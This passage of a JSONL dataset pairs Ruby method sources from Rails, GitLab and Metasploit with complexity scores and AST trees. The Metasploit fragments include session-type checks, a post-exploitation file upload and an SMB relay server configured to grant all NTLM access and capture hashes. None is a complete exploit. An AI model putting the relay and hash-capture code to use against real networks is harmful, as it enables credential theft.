m\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sync_config\"]},\"sync_run_id\"]}]}]}]}]},null]}]}","id":"3432eade-11b7-42e6-a494-558ac50a577f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/rpc/v10/rpc_session.rb","start_line":555,"raw_source":"def _valid_session(sid,type)\n\n    s = self.framework.sessions[sid.to_i]\n\n    if(not s)\n      error(500, \"Unknown Session ID #{sid}\")\n    end\n\n    if type == \"ring\"\n      if not s.respond_to?(:ring)\n        error(500, \"Session #{s.type} does not support ring operations\")\n      end\n    elsif (type == 'meterpreter' && s.type != type) ||\n      (type == 'shell' && s.type == 'meterpreter')\n      error(500, \"Session is not of type \" + type)\n    end\n    s\n  end","complexity_score":33.43,"ast_json":"{\"type\":\"def\",\"children\":[\"_valid_session\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sid\"]},{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"framework\"]},\"sessions\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]},\"to_i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unknown Session ID \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"ring\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"ring\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Session \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"type\"]}]},{\"type\":\"str\",\"children\":[\" does not support ring operations\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"type\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"shell\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"type\"]},\"==\",{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error\",{\"type\":\"int\",\"children\":[500]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Session is not of type \"]},\"+\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"s\"]}]}]}","id":"96b0b0fa-d83d-4061-81f1-fb1a47f27eb4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/manage/set_wallpaper.rb","start_line":46,"raw_source":"def upload_wallpaper(tempdir, file)\n    remote_file = \"#{tempdir}#{File.basename(file)}\"\n    print_status(\"#{peer} - Uploading to #{remote_file}\")\n\n    write_file(remote_file, File.binread(file))\n    print_status(\"#{peer} - Uploaded to #{remote_file}\")\n    remote_file\n  end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_wallpaper\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tempdir\"]},{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remote_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tempdir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Uploading to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_file\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"write_file\",{\"type\":\"lvar\",\"children\":[\"remote_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"binread\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Uploaded to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remote_file\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"remote_file\"]}]}]}","id":"e977435e-b532-45dd-bdb1-dac090ef4bff"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/dns/server.rb","start_line":108,"raw_source":"def start_service\n    begin\n\n      comm = _determine_server_comm(bindhost)\n      self.service = Rex::ServiceManager.start(\n        Rex::Proto::DNS::Server,\n        bindhost,\n        bindport,\n        datastore['DnsServerUdp'],\n        datastore['DnsServerTcp'],\n        !datastore['DISABLE_NS_CACHE'],\n        (use_resolver? ? setup_resolver : false),\n        comm,\n        {'Msf' => framework, 'MsfExploit' => self}\n      )\n\n      self.service.dispatch_request_proc = Proc.new do |cli, data|\n        on_dispatch_request(cli,data)\n      end\n      self.service.send_response_proc = Proc.new do |cli, data|\n        on_send_response(cli,data)\n      end\n\n      add_static_hosts\n\n    rescue ::Errno::EACCES => e\n      raise Rex::BindFailed.new(e.message)\n    end\n  end","complexity_score":44.9,"ast_json":"{\"type\":\"def\",\"children\":[\"start_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comm\",{\"type\":\"send\",\"children\":[null,\"_determine_server_comm\",{\"type\":\"send\",\"children\":[null,\"bindhost\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ServiceManager\"]},\"start\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Proto\"]},\"DNS\"]},\"Server\"]},{\"type\":\"send\",\"children\":[null,\"bindhost\"]},{\"type\":\"send\",\"children\":[null,\"bindport\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DnsServerUdp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DnsServerTcp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DISABLE_NS_CACHE\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"use_resolver?\"]},{\"type\":\"send\",\"children\":[null,\"setup_resolver\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"comm\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"dispatch_request_proc=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"on_dispatch_request\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"send_response_proc=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"send\",\"children\":[null,\"on_send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_static_hosts\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EACCES\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"BindFailed\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},null]}]}]}","id":"9cebf45a-be49-4228-aff0-dbea13a4219c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/representation/note_text.rb","start_line":41,"raw_source":"def self.check_record_class!(record)\n          raise ModelNotSupported, record.class.name if MODELS_ALLOWLIST.exclude?(record.class)\n        end","complexity_score":7.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"check_record_class!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MODELS_ALLOWLIST\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"class\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ModelNotSupported\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record\"]},\"class\"]},\"name\"]}]},null]}]}","id":"133b79b3-30a2-4a62-b353-93c848ff9bc0"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/emoji_filter.rb","start_line":80,"raw_source":"def self.emoji_pattern\n        @emoji_pattern ||= TanukiEmoji.index.alpha_code_pattern\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"emoji_pattern\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@emoji_pattern\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TanukiEmoji\"]},\"index\"]},\"alpha_code_pattern\"]}]}]}","id":"5e6bd4b4-aa65-4d49-b30d-46fe7f60745a"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/reserved_word_test.rb","start_line":123,"raw_source":"def test_calculations_work_with_reserved_words\n    create_test_fixtures :group\n    assert_equal 3, Group.count\n  end","complexity_score":3.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_calculations_work_with_reserved_words\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_test_fixtures\",{\"type\":\"sym\",\"children\":[\"group\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"count\"]}]}]}]}","id":"68913bbb-b758-45e1-8616-cb96df2fac97"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/relay_server.rb","start_line":107,"raw_source":"def start_service(_opts = {})\n        ntlm_provider = Msf::Exploit::Remote::SMB::Relay::Provider::AlwaysGrantAccess.new(\n          default_domain: datastore['SMBDomain']\n        )\n\n        # Set domain name for all future server responses\n        ntlm_provider.dns_domain = datastore['SMBDomain']\n        ntlm_provider.dns_hostname = datastore['SMBDomain']\n        ntlm_provider.netbios_domain = datastore['SMBDomain']\n        ntlm_provider.netbios_hostname = datastore['SMBDomain']\n\n        validate_smb_hash_capture_datastore(datastore, ntlm_provider)\n\n        comm = _determine_server_comm(datastore['SRVHOST'])\n        print_status(\"SMB Server is running. Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}\")\n        @service = Rex::ServiceManager.start(\n          self.class::SMBRelayServer,\n          {\n            socket: {\n              'Comm' => comm,\n              'LocalHost' => datastore['SRVHOST'],\n              'LocalPort' => datastore['SRVPORT'],\n              'Server' => true,\n              'Timeout' => datastore['SRV_TIMEOUT'],\n              'Context' => {\n                'Msf' => framework,\n                'MsfExploit' => self\n              }\n            },\n            smb_server: {\n              gss_provider: ntlm_provider,\n              logger: smb_logger,\n              relay_targets: relay_targets,\n              listener: self,\n              relay_timeout: datastore['RELAY_TIMEOUT'],\n              thread_manager: framework.threads\n            }\n          }\n        )\n      end","complexity_score":51.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start_service\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ntlm_provider\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Remote\"]},\"SMB\"]},\"Relay\"]},\"Provider\"]},\"AlwaysGrantAccess\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_provider\"]},\"dns_domain=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_provider\"]},\"dns_hostname=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_provider\"]},\"netbios_domain=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ntlm_provider\"]},\"netbios_hostname=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SMBDomain\"]}]}]},{\"type\":\"send\",\"children\":[null,\"validate_smb_hash_capture_datastore\",{\"type\":\"send\",\"children\":[null,\"datastore\"]},{\"type\":\"lvar\",\"children\":[\"ntlm_provider\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comm\",{\"type\":\"send\",\"children\":[null,\"_determine_server_comm\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SMB Server is running. Listening on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@service\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"ServiceManager\"]},\"start\",{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"SMBRelayServer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"socket\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Comm\"]},{\"type\":\"lvar\",\"children\":[\"comm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalHost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Server\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRV_TIMEOUT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"smb_server\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gss_provider\"]},{\"type\":\"lvar\",\"children\":[\"ntlm_provider\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"logger\"]},{\"type\":\"send\",\"children\":[null,\"smb_logger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relay_targets\"]},{\"type\":\"send\",\"children\":[null,\"relay_targets\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"listener\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relay_timeout\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RELAY_TIMEOUT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"thread_manager\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"threads\"]}]}]}]}]}]}]}]}]}","id":"088f4478-e907-43a7-b26e-440dc9a42960"}
{"repo_name":"rails","file_path":"./repos/rails/actionmailbox/lib/rails/generators/test_unit/mailbox_generator.rb","start_line":15,"raw_source":"def file_name # :doc:\n          @_file_name ||= super.sub(/_mailbox\\z/i, \"\")\n        end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"file_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_file_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"_mailbox\\\\z\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"e8f28eb9-3075-4ee8-92ee-e5e0cd2dd36f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/application_rate_limiter.rb","start_line":321,"raw_source":"def rate_limit_value_by_key(key, setting)\n        action = rate_limits[key]\n\n        action[setting] if action\n      end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"rate_limit_value_by_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"setting\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rate_limits\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]},null]}]}]}","id":"8988f400-eb05-4480-b55b-bbb8df63720f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/issue_importer.rb","start_line":51,"raw_source":"def create_issue\n          author_id, author_found = user_finder.author_id_for(issue)\n\n          description = MarkdownText.format(issue.description, issue.author, author_found, project: project,\n            client: client)\n          assignee_ids = issue_assignee_map.keys\n\n          attributes = {\n            iid: issue.iid,\n            title: issue.truncated_title,\n            author_id: author_id,\n            assignee_ids: assignee_ids,\n            project_id: project.id,\n            namespace_id: project.project_namespace_id,\n            description: description,\n            milestone_id: milestone_finder.id_for(issue),\n            state_id: ::Issue.available_states[issue.state],\n            created_at: issue.created_at,\n            updated_at: issue.updated_at,\n            work_item_type_id: issue.work_item_type_id,\n            imported_from: ::Import::SOURCE_GITHUB\n          }\n\n          project.issues.create!(attributes.merge(importing: true))\n        end","complexity_score":48.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_issue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"author_id\"]},{\"type\":\"lvasgn\",\"children\":[\"author_found\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_finder\"]},\"author_id_for\",{\"type\":\"send\",\"children\":[null,\"issue\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MarkdownText\"]},\"format\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"author\"]},{\"type\":\"lvar\",\"children\":[\"author_found\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"client\"]},{\"type\":\"send\",\"children\":[null,\"client\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"assignee_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_assignee_map\"]},\"keys\"]}]},{\"type\":\"lvasgn\",\"children\":[\"attributes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"iid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"truncated_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"lvar\",\"children\":[\"author_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"assignee_ids\"]},{\"type\":\"lvar\",\"children\":[\"assignee_ids\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"project_namespace_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"milestone_finder\"]},\"id_for\",{\"type\":\"send\",\"children\":[null,\"issue\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Issue\"]},\"available_states\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"state\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"updated_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"updated_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_type_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"work_item_type_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"imported_from\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Import\"]},\"SOURCE_GITHUB\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"issues\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"importing\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"ea51fcec-545d-437e-9291-8b25f010936d"}
